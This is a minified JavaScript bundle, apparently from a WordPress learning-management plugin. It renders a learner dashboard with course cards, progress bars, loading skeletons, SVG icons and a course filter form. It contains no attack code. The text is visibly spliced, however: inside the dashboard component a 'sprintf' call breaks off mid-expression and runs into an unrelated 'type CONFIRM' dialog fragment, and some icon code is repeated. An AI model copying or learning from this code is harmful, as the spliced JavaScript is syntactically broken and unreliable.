3.908a1.25 1.25 0 0 0 1.038 0h.001l8.59-3.898.007-.004a.25.25 0 0 0-.005-.46q-.01-.004-.022-.01L12.52 5.864a1.25 1.25 0 0 0-.913-.05l-.125.05-8.57 3.9-.01.004a.25.25 0 0 0-.15.23Z"}),React.createElement("path",{d:"M21.25 16v-6a.75.75 0 0 1 1.5 0v6a.75.75 0 1 1-1.5 0m-16 0v-3.5a.75.75 0 0 1 1.5 0V16c0 .368.31.935 1.342 1.45.998.5 2.403.8 3.908.8s2.91-.3 3.907-.8c1.032-.515 1.343-1.082 1.343-1.45v-3.5a.75.75 0 0 1 1.5 0V16c0 1.224-.954 2.184-2.172 2.793-1.253.626-2.9.958-4.578.958s-3.325-.332-4.578-.958C6.204 18.183 5.25 17.224 5.25 16"}));const Ml=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{fillRule:"evenodd",d:"M2 12c0-.69.56-1.25 1.25-1.25h17.5a1.25 1.25 0 1 1 0 2.5H3.25C2.56 13.25 2 12.69 2 12",clipRule:"evenodd"}),React.createElement("path",{fillRule:"evenodd",d:"M12 2c.69 0 1.25.56 1.25 1.25v17.5a1.25 1.25 0 1 1-2.5 0V3.25c0-.69.56-1.25 1.25-1.25",clipRule:"evenodd"}));const Tl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M1.84 14.551a.858.858 0 0 1 1.46.899 3.1 3.1 0 0 0-.443 1.556 3.143 3.143 0 0 0 5.916 1.472l.006-.012c.555-1.004 1.624-2.343 3.231-2.343H18a.858.858 0 0 1 0 1.714h-5.99c-.59 0-1.22.537-1.724 1.446A4.858 4.858 0 0 1 1.143 17v-.013c.012-.843.24-1.696.697-2.437Z"}),React.createElement("path",{d:"M11.376 1.186a4.86 4.86 0 0 1 4.894 2.459.857.857 0 0 1-1.5.831 3.142 3.142 0 1 0-5.414 3.19c.334.514.642 1.14.786 1.806.146.676.131 1.445-.26 2.16l-3.129 5.777a.857.857 0 1 1-1.506-.817l3.13-5.78.001-.002c.14-.255.175-.577.088-.978-.088-.406-.292-.84-.554-1.243l-.009-.014a4.86 4.86 0 0 1 3.473-7.39Z"}),React.createElement("path",{d:"M21.143 17A3.144 3.144 0 0 0 18 13.858c-1.156 0-2.85-.303-3.622-1.717l-3.13-5.73a.858.858 0 0 1 1.505-.821l3.128 5.73c.288.525 1.075.824 2.119.824a4.857 4.857 0 1 1 0 9.714.857.857 0 1 1 0-1.715A3.143 3.143 0 0 0 21.143 17"}));const Fl=e=>{var t,n,l,o,i,s,[c,m]=(0,a.useState)(!1),{course:d,started_at:u}=e.course,p=null==d||null===(t=d.progress_data)||void 0===t?void 0:t.summary;return r().createElement(ce.a,{className:"mto-continue-course",width:{base:"100%",sm:"70%",md:"100%"},mx:"auto",overflowX:"hidden"},r().createElement(b.B,{alignItems:"flex-start",direction:{base:"column",md:"row"},gap:7},r().createElement(de._,{w:{base:"100%",sm:"100%",md:"230px"},src:null==d?void 0:d.featured_image_url,h:{base:"170px",sm:"180px",md:"160px"},rounded:"10px"}),r().createElement(ke.z,{w:"full",py:3,gap:6},r().createElement(y.T,{w:"full",align:"flex-start",gap:5,flex:1},r().createElement(y.T,{gap:"10px",align:"flex-start"},r().createElement(nt.s,{justifyContent:"flex-start",alignItems:"center",flexWrap:"wrap",gap:2},null==d||null===(n=d.categories)||void 0===n?void 0:n.map((e=>r().createElement(An.vw,{colorScheme:"primary",key:e.id,size:"sm",borderRadius:"base",border:"1px",borderColor:"icy-blue-gray",variant:"outline",color:"primary.500",textTransform:"uppercase",py:1,px:"10px",fontSize:"10px",fontWeight:"medium",lineHeight:"120%"},r().createElement(An.d1,null,null==e?void 0:e.name))))),r().createElement(_.E,{fontSize:"md",fontWeight:"semibold",color:"oxford-night"},null==d?void 0:d.name)),u&&r().createElement(_.E,{color:"saint-blue",fontSize:"sm",fontWeight:"medium"},(0,S.__)("Started on ","learning-management-system"),te(u,"m/d/Y"))),r().createElement(y.T,{align:"flex-start",gap:4},d&&r().createElement(nt.s,{justifyContent:"space-between",alignItems:"center",w:"full"},r().createElement(_.E,{fontWeight:"semibold",fontSize:"xl",color:"oxford-night"},null==d||null===(l=d.progress_data)||void 0===l?void 0:l.percentage,"% "," ",r().createElement(_.E,{as:"span",fontWeight:"normal",fontSize:"sm",color:"saint-blue"},(0,S.__)("Completed","learning-management-system"))),p&&r().createElement(dl,{summary:p})),r().createElement(il.k,{size:"sm",rounded:"29px",w:"220px",height:"6px",value:null==d||null===(o=d.progress_data)||void 0===o?void 0:o.percentage,max:100,colorScheme:"primary"}),r().createElement(pe.N,{href:"progress"===(null==d||null===(i=d.progress_data)||void 0===i?void 0:i.status)?null==d?void 0:d.continue_course_url:null==d?void 0:d.start_course_url,style:{width:"fit-content"},ml:"auto",mr:{base:"auto",md:0}},r().createElement(x.$,{title:"draft"===(null==d?void 0:d.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",isDisabled:"draft"===(null==d?void 0:d.status),colorScheme:"button",boxShadow:"none",size:"md",onClick:e=>{null!=d&&d.is_password_required&&(e.preventDefault(),m(!0))},fontSize:"15px",fontWeight:"semibold",w:"220px"},(0,S.__)("Continue Course","learning-management-system")),c&&r().createElement(ul,{isOpen:c,onClose:()=>m(!1),courseId:null!==(s=null==d?void 0:d.id)&&void 0!==s?s:0,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl}))))))};const Il=()=>r().createElement(y.T,{gap:10,align:"flex-start",w:"full"},r().createElement(y.T,{gap:"30px",w:"full",align:"flex-start"},r().createElement(b.B,{spacing:2,w:"full"},r().createElement(wt.E,{height:"32px",width:"150px"}),r().createElement(wt.E,{height:"20px",width:"300px"})),r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",w:"full"},[1,2,3].map((e=>r().createElement(ce.a,{key:e,p:6,borderWidth:"1px",borderColor:"icy-blue-gray",borderRadius:"10px",w:"100%"},r().createElement(ke.z,{spacing:4,align:"center"},r().createElement(wt.E,{width:"48px",height:"48px",borderRadius:"10px",flexShrink:0}),r().createElement(b.B,{spacing:2,flex:1},r().createElement(wt.E,{height:"32px",width:"60px"}),r().createElement(wt.E,{height:"16px",width:"120px"})))))))),r().createElement(y.T,{gap:6,align:"flex-start",w:"full"},r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(wt.E,{height:"24px",width:"120px"}),r().createElement(wt.E,{height:"40px",width:"140px",borderRadius:"md"})),r().createElement(_a.r,{columns:{base:1,md:2,lg:3},spacing:"6",w:"full"},[1,2,3].map((e=>r().createElement(ce.a,{key:e,p:6,borderWidth:"1px",borderColor:"icy-blue-gray",borderRadius:"10px",w:"100%"},r().createElement(ke.z,{spacing:4,align:"center"},r().createElement(wt.E,{width:"48px",height:"48px",borderRadius:"10px",flexShrink:0}),r().createElement(b.B,{spacing:2,flex:1},r().createElement(wt.E,{height:"20px",width:"100px"}),r().createElement(wt.E,{height:"16px",width:"130px"})))))))),r().createElement(b.B,{direction:"column",spacing:"6",w:"full"},r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(wt.E,{height:"24px",width:"150px"}),r().createElement(wt.E,{height:"40px",width:"100px",borderRadius:"md"})),[1,2,3].map((e=>r().createElement(ce.a,{key:e,borderWidth:"1px",borderColor:"icy-blue-gray",rounded:"10px",w:"100%"},r().createElement(b.B,{direction:{base:"column",md:"row"},spacing:0},r().createElement(ce.a,{pos:"relative",width:{base:"100%",md:"200px"},flexShrink:0},r().createElement(wt.E,{w:"100%",h:"176px",roundedLeft:{base:"10px",md:"10px"},roundedTop:{base:"10px",md:"0"}}),r().createElement(wt.E,{height:"24px",width:"80px",borderRadius:"base",pos:"absolute",top:"4",left:"4"})),r().createElement(b.B,{direction:"column",spacing:"4",p:5,flex:1,w:"full"},r().createElement(ke.z,{spacing:"1",flexWrap:"wrap"},r().createElement(wt.E,{height:"24px",width:"70px",borderRadius:"base"}),r().createElement(wt.E,{height:"24px",width:"60px",borderRadius:"base"})),r().createElement(wt.E,{height:"26px",width:"70%"}),r().createElement(ke.z,{justify:"space-between",w:"full"},r().createElement(ke.z,{gap:2},r().createElement(wt.E,{borderRadius:"full",width:"32px",height:"32px"}),r().createElement(wt.E,{height:"20px",width:"100px"})),r().createElement(ke.z,{gap:1.5},r().createElement(wt.E,{height:"16px",width:"16px"}),r().createElement(wt.E,{height:"20px",width:"30px"}))),r().createElement(b.B,{spacing:2},r().createElement(ke.z,null,r().createElement(wt.E,{height:"30px",width:"50px"}),r().createElement(wt.E,{height:"24px",width:"80px"})),r().createElement(wt.E,{height:"8px",width:"100%",borderRadius:"full"})),r().createElement(wt.E,{height:"40px",width:"150px",borderRadius:"md"}))))))));function Bl(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Dl(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Bl(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Bl(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}document.documentElement.dir;const ql=()=>{var[e,t]=(0,Da.U)(["(min-width:1290px)","(min-width:992px)"]),n=new qe(Fe.myCourses),a=Ba("gamipress-integration"),l=new qe(null==Fe?void 0:Fe.courses),o=(0,ye.d)(),i=(0,c.jE)(),s=(0,fn.n)({mutationFn:e=>l.store(e)}),m=(null==i?void 0:i.getQueryData(["userProfile"]))||{},d=(0,rt.I)({queryKey:["dashboardCourseQuery"],queryFn:()=>n.list({status:"active",per_page:5,from_account_dashboard:!0})});e&&("row",0);var u,p,g,h,E,f,v,_=null==i?void 0:i.getQueryData(["userProfile"]);return d.isSuccess?r().createElement(y.T,{gap:10,align:"flex-start",w:"full",opacity:null!=s&&s.isSuccess?.4:1,pointerEvents:null!=s&&s.isSuccess?"none":"auto"},r().createElement(gt,{title:(0,S.__)("Dashboard","learning-management-system"),description:_?(0,S.sprintf)( +(0,S._x)('Please type %s and click on "Yes" to proceed.',"Danger action confirmation prompt","learning-management-system"),r().createElement("strong",null,"CONFIRM"))),r().createElement(yn.p,{ref:d,type:"text",value:c,onChange:e=>m(e.target.value),onKeyDown:e=>{"Enter"!==e.code&&"NumpadEnter"!==e.code||(e.preventDefault(),u())}})))),r().createElement(w.j,null,r().createElement(ft.e,null,r().createElement(x.$,{onClick:n,variant:"outline"},(0,S.__)("Cancel","learning-management-system")),r().createElement(x.$,{colorScheme:"primary",onClick:u,isLoading:i},(0,S.__)("Yes","learning-management-system")))))))};var hl={beginner:"var(--masteriyo-color-badge-green)",intermediate:"var(--masteriyo-color-warning)",expert:"var(--masteriyo-color-badge-pink)"};const El=e=>{var t,n,l,o,i,s,c,m,d,u,p,g,h,E,f,v,y,w,[C,O]=(0,a.useState)(!1),{course:z,started_at:k}=e.courseData,{onClose:R,onOpen:A,isOpen:j}=(0,ve.j)(),P=null==z||null===(t=z.progress_data)||void 0===t?void 0:t.summary,M=()=>{O(!0)};return z?r().createElement(ce.a,{w:"100%",borderWidth:"1px",borderColor:"icy-blue-gray",className:"mto-enrolled-course",rounded:"10px",mr:"auto",ml:{base:"unset",sm:"auto"},maxH:"fit-content"},r().createElement(ce.a,{as:"figure",pos:"relative",mt:0},r().createElement(de._,{src:null==z?void 0:z.featured_image_url,alt:null==z?void 0:z.name,height:"176px",width:"100%",objectFit:"cover",roundedTopLeft:"10px",roundedTopRight:"10px"}),(null==z?void 0:z.difficulty)&&r().createElement(An.vw,{colorScheme:"primary",size:"sm",borderRadius:"base",variant:"outline",color:"white",textTransform:"capitalize",py:"6px",px:3,fontSize:"xs",fontWeight:"medium",lineHeight:"18px",letterSpacing:"0.5px",pos:"absolute",top:"4",left:"4",bg:hl[null==z?void 0:z.difficulty.slug]?hl[null==z?void 0:z.difficulty.slug]:"blue.500",boxShadow:"none"},r().createElement(An.d1,null,null==z||null===(n=z.difficulty)||void 0===n?void 0:n.name))),r().createElement(b.B,{direction:"column",spacing:"6",p:5},r().createElement(b.B,{gap:3,width:"full",align:"start"},r().createElement(b.B,{direction:"column",spacing:"10px"},r().createElement(b.B,{direction:"row",spacing:"1",flexWrap:"wrap"},null==z||null===(l=z.categories)||void 0===l?void 0:l.map((e=>r().createElement(An.vw,{key:e.id,colorScheme:"primary",size:"sm",borderRadius:"base",border:"1px",borderColor:"icy-blue-gray",variant:"outline",color:"primary.500",textTransform:"uppercase",py:1,px:"10px",fontSize:"10px",fontWeight:"medium",lineHeight:"120%"},r().createElement(An.d1,null,null==e?void 0:e.name))))),r().createElement(b.B,{justifyContent:"space-between",alignItems:"start",spacing:0},r().createElement(pe.N,{href:null==z?void 0:z.permalink,_hover:{textDecoration:"none"}},r().createElement(se.D,{as:"h3",fontSize:"md",fontWeight:"semibold",color:"oxford-night",lineHeight:"26px",_hover:{color:"primary.500"}},"".concat(null==z?void 0:z.name))))),r().createElement(ke.z,{direction:"row",align:"center",justify:"space-between",w:"full",gap:5},r().createElement(ke.z,{flexGrow:1,gap:2},r().createElement($t.e,{src:null==z||null===(o=z.author)||void 0===o?void 0:o.avatar_url,size:"sm"}),r().createElement(_.E,{color:"saint-blue",fontSize:"15px",fontWeight:"medium",lineHeight:"25px"},null==z||null===(i=z.author)||void 0===i?void 0:i.display_name)),r().createElement(dn.m,{hasArrow:!0,label:null!=z&&z.review_count?"".concat((0,S.__)("Average Rating:","learning-management-system")," ").concat(Number(z.average_rating)," (").concat(Number(null==z?void 0:z.review_count)," ").concat((0,S.__)("reviews","learning-management-system"),")"):"".concat((0,S.__)("Average Rating:","learning-management-system")," ").concat(Number(z.average_rating)),fontSize:"sm",placement:"top"},r().createElement(ke.z,{gap:1.5},r().createElement(Re.I,{as:ka,color:"#E59819",fill:"currentColor"}),r().createElement(_.E,{color:"saint-blue",fontSize:"15px",fontWeight:"medium",lineHeight:"25px"},null!=z&&z.review_count?"".concat(Number(z.average_rating)," (").concat(Number(null==z?void 0:z.review_count),")"):"".concat(Number(z.average_rating))))))),"completed"!==(null==z||null===(s=z.progress_data)||void 0===s?void 0:s.status)&&r().createElement(b.B,null,!(null!=z&&z.google_classroom_course_url)&&r().createElement(ke.z,null,r().createElement(ke.z,{gap:2,flexGrow:1},r().createElement(_.E,{color:"oxford-night",fontSize:"xl",fontWeight:"semibold",lineHeight:"30px"},null==z||null===(c=z.progress_data)||void 0===c?void 0:c.percentage,"%"),r().createElement(_.E,{color:"saint-blue",fontSize:"sm",fontWeight:"normal",lineHeight:"24px"},(0,S.__)(" Completed","learning-management-system"))),P&&r().createElement(dl,{summary:P})),r().createElement(il.k,{rounded:"full",size:"xs",value:null==z||null===(m=z.progress_data)||void 0===m?void 0:m.percentage,max:100,colorScheme:"primary"})),r().createElement(b.B,{direction:"row",spacing:"4",justify:{base:"center",sm:"space-between"},align:"center",color:"gray.500",fontSize:"xs",flexWrap:{base:"wrap",sm:"nowrap"}},r().createElement(ke.z,{w:"full"},null!=z&&z.enable_course_retake&&"completed"===(null==z||null===(d=z.progress_data)||void 0===d?void 0:d.status)&&!K(null==z||null===(u=z.progress_data)||void 0===u?void 0:u.retake_url)?r().createElement(x.$,{size:"sm",variant:"link",textDecoration:"underline",onClick:A,colorScheme:"button"},(0,S.__)("Retake","learning-management-system")):null,z.google_classroom_course_url?r().createElement(pe.N,{href:null==z?void 0:z.google_classroom_course_url},r().createElement(x.$,{title:"draft"===(null==z?void 0:z.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",size:"sm",borderRadius:"full",colorScheme:"button",isDisabled:"draft"===(null==z?void 0:z.status),onClick:e=>{null!=z&&z.is_password_required&&(e.preventDefault(),M())},leftIcon:null!=z&&z.is_password_required?r().createElement(Re.I,{as:tn.cF2,boxSize:4}):void 0},(0,S.__)("Classroom","learning-management-system")),C&&r().createElement(ul,{isOpen:C,onClose:()=>O(!1),courseId:null==z?void 0:z.id,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl})):r().createElement(pe.N,{w:"full",href:"progress"===(null==z||null===(p=z.progress_data)||void 0===p?void 0:p.status)?null==z?void 0:z.continue_course_url:null==z?void 0:z.start_course_url},r().createElement(x.$,{title:"draft"===(null==z?void 0:z.status)?(0,S.__)("Course might be drafted.","learning-management-system"):"",size:"md",colorScheme:"button",isDisabled:"draft"===(null==z?void 0:z.status)||"completed"===(null==z||null===(g=z.progress_data)||void 0===g?void 0:g.status),onClick:e=>{null!=z&&z.is_password_required&&(e.preventDefault(),M())},leftIcon:null!=z&&z.is_password_required?r().createElement(Re.I,{as:tn.cF2,boxSize:4}):"completed"===(null==z||null===(h=z.progress_data)||void 0===h?void 0:h.status)?r().createElement(Re.I,{fontSize:"xl",as:Ra,color:"green.400"}):void 0,fontSize:"15px",fontWeight:"semibold",lineHeight:"25px",w:"full",variant:"completed"===(null==z||null===(E=z.progress_data)||void 0===E?void 0:E.status)?"link":"solid",color:"draft"===(null==z?void 0:z.status)||"completed"===(null==z||null===(f=z.progress_data)||void 0===f?void 0:f.status)?"#07092F":"white"},"completed"===(null==z||null===(v=z.progress_data)||void 0===v?void 0:v.status)?(0,S.__)("Course Completed","learning-management-system"):"progress"===(null==z||null===(y=z.progress_data)||void 0===y?void 0:y.status)?(0,S.__)("Continue","learning-management-system"):(0,S.__)("Start Course","learning-management-system")),C&&r().createElement(ul,{isOpen:C,onClose:()=>O(!1),courseId:null==z?void 0:z.id,ajaxNonce:Pt.PasswordProtectedNonce,ajaxUrl:Pt.ajaxUrl}))),r().createElement(gl,{courseName:null==z?void 0:z.name,retakeUrl:(null==z||null===(w=z.progress_data)||void 0===w?void 0:w.retake_url)||"",isOpen:j,onClose:R})))):r().createElement(r().Fragment,null)};var fl=n(14195),vl=n(20454),yl=n(46506);const bl=()=>{var e=e=>r().createElement(Re.I,{sx:{fontSize:"1.5rem"}},e);return{Option:t=>r().createElement(yl.jA.Option,t,r().createElement(b.B,{direction:"row",spacing:"2"},t.data.icon&&e(t.data.icon),r().createElement(_.E,null,t.label))),SingleValue:t=>r().createElement(yl.jA.SingleValue,t,r().createElement(b.B,{direction:"row",spacing:"2"},t.data.icon&&e(t.data.icon),r().createElement(_.E,null,t.data.label))),DropdownIndicator:e=>r().createElement(yl.jA.DropdownIndicator,e,r().createElement(Re.I,{as:tn.nwe}))}};function _l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function wl(e){var t=(0,Ee.A)({},((0,vl.A)(e),e)),n=function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?_l(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):_l(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({},Ur);return r().createElement(yl.l6,(0,Ee.A)({chakraStyles:n,components:bl(),colorScheme:"primary"},t))}const xl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,fill:"none",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{fill:"#000",fillRule:"evenodd",d:"M11 4a7 7 0 1 0 0 14 7 7 0 0 0 0-14m-9 7a9 9 0 1 1 18 0 9 9 0 0 1-18 0",clipRule:"evenodd"}),React.createElement("path",{fill:"#000",fillRule:"evenodd",d:"M15.943 15.943a1 1 0 0 1 1.414 0l4.35 4.35a1 1 0 0 1-1.414 1.414l-4.35-4.35a1 1 0 0 1 0-1.414",clipRule:"evenodd"}));function Sl(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Cl(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Sl(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Sl(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Ol(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}var zl=[{label:(0,S._x)("All","Course price text","learning-management-system"),value:"all"},{label:(0,S._x)("Paid","Course price text","learning-management-system"),value:"paid"}];const kl=function(e){var t,[n,l]=(0,a.useState)([]),{filterParams:o,setFilterParams:i}=e,{handleSubmit:s,control:c}=(0,Se.mN)(),m=new qe(Fe.categories),d=(0,sr.q)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ol(Object(n),!0).forEach((function(t){(0,u.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ol(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["categoryLists"],queryFn:e=>{var{pageParam:t}=e;return m.list({per_page:10,page:t})},initialPageParam:1},{retry:!1,getNextPageParam:e=>e.meta.current_page>=e.meta.pages?void 0:e.meta.current_page+1})),{hasNextPage:p,fetchNextPage:g,isFetchingNextPage:h}=d,E=(0,fl.z)({onTypeFinish:e=>{i({search:e,category:o.category,enrollmentStatus:o.enrollmentStatus,status:null==o?void 0:o.status})}},800),f=e=>{var t,n="";e.enrollmentStatus&&"all"===e.enrollmentStatus.value&&(n=""),e.enrollmentStatus&&"paid"===e.enrollmentStatus.value&&(n="paid"),i($(J(e,{search:null==o?void 0:o.search,category:null===(t=e.category)||void 0===t?void 0:t.value,enrollmentStatus:n,status:null==o?void 0:o.status})))};return(0,a.useEffect)((()=>{if(null!=d&&d.isSuccess){var e,t=[];null==d||null===(e=d.data)||void 0===e||null===(e=e.pages)||void 0===e||e.forEach((e=>{e.data.forEach((e=>{t.push(e)}))})),l(function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:-1,n=[],a=[],r=function(n){var l=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,o=[];return e.filter((e=>e.parent_id===n.id&&e.id!==t)).forEach((e=>{a.push(e.id),o.push(Cl(Cl({},e),{},{depth:l})),o=o.concat(r(e,l+1))})),o};return e.filter((e=>0===e.parent_id&&e.id!==t)).forEach((e=>{a.push(e.id),n.push(Cl(Cl({},e),{},{depth:0})),n=n.concat(r(e))})),n=e.filter((e=>!a.includes(e.id))).map((e=>Cl(Cl({},e),{},{depth:0}))).concat(n)}(t).map((e=>({value:e.id,label:"— ".repeat(e.depth)+e.name}))))}}),[null==d?void 0:d.isSuccess,null==d||null===(t=d.data)||void 0===t?void 0:t.pages]),r().createElement("form",{onChange:s(f),style:{width:"100%"}},r().createElement($n.x,{gridTemplateColumns:{md:"2.5fr 2.5fr 1.5fr"},gap:"6"},r().createElement(_e.MJ,{w:"100%"},r().createElement(kn.M,null,r().createElement(Rn.W,null,r().createElement(Re.I,{as:xl})),r().createElement(yn.p,(0,Ee.A)({w:"100%",placeholder:(0,S.__)("Search courses","learning-management-system")},E)))),r().createElement(_e.MJ,{w:"100%"},r().createElement(Se.xI,{name:"category",control:c,render:e=>{var{field:{onChange:t,value:a}}=e;return r().createElement(wl,{placeholder:(0,S.__)("All Categories","learning-management-system"),onChange:function(){t(...arguments),s(f)()},value:a,closeMenuOnSelect:!0,isClearable:!0,options:n,isLoading:h,onMenuScrollToBottom:()=>{p&&g()},noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,S.__)("No categories found.","learning-management-system"):(0,S.__)("No categories.","learning-management-system")}})}})),r().createElement(_e.MJ,{w:"100%"},r().createElement(Se.xI,{name:"enrollmentStatus",control:c,render:e=>{var{field:{onChange:t,value:n}}=e;return r().createElement(wl,{onChange:function(){t(...arguments),s(f)()},isClearable:!0,value:n,options:zl,placeholder:(0,S.__)("Pricing","learning-management-system"),isSearchable:!1})}}))))};const Rl=()=>{var e,t,n,[l,o]=(0,a.useState)({status:"active"}),i=new qe(Fe.myCourses),s=(0,rt.I)({queryKey:["myCourses",l],queryFn:()=>i.list(l)});return r().createElement(y.T,{gap:6,align:"flex-start",w:"full"},r().createElement(y.T,{gap:"30px",align:"flex-start",w:"full"},r().createElement(gt,{title:(0,S.__)("Your Courses","learning-management-system")}),r().createElement(kl,{setFilterParams:o,filterParams:l})),r().createElement(b.B,{direction:"column",spacing:"6",className:"mto-enrolled-courses-wrapper",w:"full"},s.isSuccess&&r().createElement(r().Fragment,null,r().createElement(_a.r,{columns:{base:1,md:2,xl:"no"===(null==Pt?void 0:Pt.showHeaderFooter)?4:3},spacing:"6",className:"mto-enrolled-courses-list"},null==s||null===(e=s.data)||void 0===e||null===(e=e.data)||void 0===e?void 0:e.map((e=>r().createElement(El,{key:null==e?void 0:e.id,courseData:e})))),s.isSuccess?K(null==s||null===(t=s.data)||void 0===t?void 0:t.data)?r().createElement(Mt,{showButton:!1,text:null!=l&&l.category||null!=l&&l.enrollmentStatus||null!=l&&l.search?(0,S.__)("No Courses Found","learning-management-system"):(0,S.__)("You don't have any course in progress.","learning-management-system")}):r().createElement(Xt,{metaData:null==s||null===(n=s.data)||void 0===n?void 0:n.meta,setFilterParams:o,extraFilterParams:{status:null==l?void 0:l.status},perPageText:(0,S.__)("Courses Per Page:","learning-management-system")}):null),s.isLoading&&r().createElement(wa,null)))};const Al=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M11.143 21V7a.857.857 0 1 1 1.714 0v14a.857.857 0 1 1-1.714 0"}),React.createElement("path",{d:"M21.143 4A.143.143 0 0 0 21 3.857h-5a3.144 3.144 0 0 0-3.14 2.986L12.858 7l-.005.087A.857.857 0 0 1 11.142 7 3.143 3.143 0 0 0 8 3.857H3A.144.144 0 0 0 2.857 4v13a.144.144 0 0 0 .143.143h6a3.86 3.86 0 0 1 3 1.433 3.85 3.85 0 0 1 3-1.433h6a.14.14 0 0 0 .143-.144zm1.714 13A1.86 1.86 0 0 1 21 18.856h-6a2.144 2.144 0 0 0-2.143 2.142l-.005.089a.857.857 0 0 1-1.705 0l-.004-.089-.01-.211A2.143 2.143 0 0 0 9 18.857H3a1.86 1.86 0 0 1-1.857-1.858V4A1.86 1.86 0 0 1 3 2.143h5a4.86 4.86 0 0 1 4 2.103 4.86 4.86 0 0 1 4-2.103h5A1.86 1.86 0 0 1 22.857 4z"}));const jl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M9.143 2a.857.857 0 1 1 1.714 0v5.93l1.537-1.537.065-.058a.857.857 0 0 1 1.147.058l1.537 1.537V2a.857.857 0 1 1 1.714 0v8a.857.857 0 0 1-1.463.605L13 8.211l-2.394 2.394A.857.857 0 0 1 9.143 10z"}),React.createElement("path",{d:"M19.143 3A.144.144 0 0 0 19 2.857H6.5A1.643 1.643 0 0 0 4.857 4.5v12.072a3.36 3.36 0 0 1 1.643-.43h12.643zM4.866 19.662a1.64 1.64 0 0 0 1.634 1.48H19a.144.144 0 0 0 .143-.142v-3.143H6.5A1.643 1.643 0 0 0 4.857 19.5zM20.857 21A1.86 1.86 0 0 1 19 22.857H6.5a3.36 3.36 0 0 1-3.353-3.19l-.004-.167v-15A3.357 3.357 0 0 1 6.5 1.143H19A1.86 1.86 0 0 1 20.857 3z"}));const Pl=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",role:"img"},e),React.createElement("path",{d:"M10.86 4.498a2.75 2.75 0 0 1 2.28 0l8.572 3.904a1.747 1.747 0 0 1 .775 2.553 1.75 1.75 0 0 1-.765.654v-.001l-8.582 3.896a2.75 2.75 0 0 1-2.28-.001l-8.571-3.908a1.751 1.751 0 0 1 0-3.197l8.57-3.9ZM2.75 9.997a.25.25 0 0 0 .15.228l.01.005 8.57 3.908a1.25 1.25 0 0 0 1.038 0h.001l8.59-3.898.007-.004a.25.25 0 0 0-.005-.46q-.01-.004-.022-.01L12.52 5.864a1.25 1.25 0 0 0-.913-.05l-.125.05-8.57 3.9-.01.004a.25.25 0 0 0-.15.23Z"}),React.createElement("path",{d:"M21.25 16v-6a.75.75 0 0 1 1.5 0v6a.75.75 0 1 1-1.5 0m-16 0v-3.5a.75.75 0 0 1 1.5 0V16c0 .368.31.935 1.342 1.45.998.5 2.403.8 3.908.8s2.91-.3 3.907-.8c1.032-.515 1.343-1.082 1.343-1.45v-3.5a.75.75 0 0 1 1.5 0V16c0 1.224-.954 2.184-2.172 2.793-1.253.626-2.9.958-4.578.958s-3.325-.332-4.578-.958C6.204 18.183 5.25 17.224 5.25 16"}));const Ml=e=>React.createElement("svg",(0,Ee.A)({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 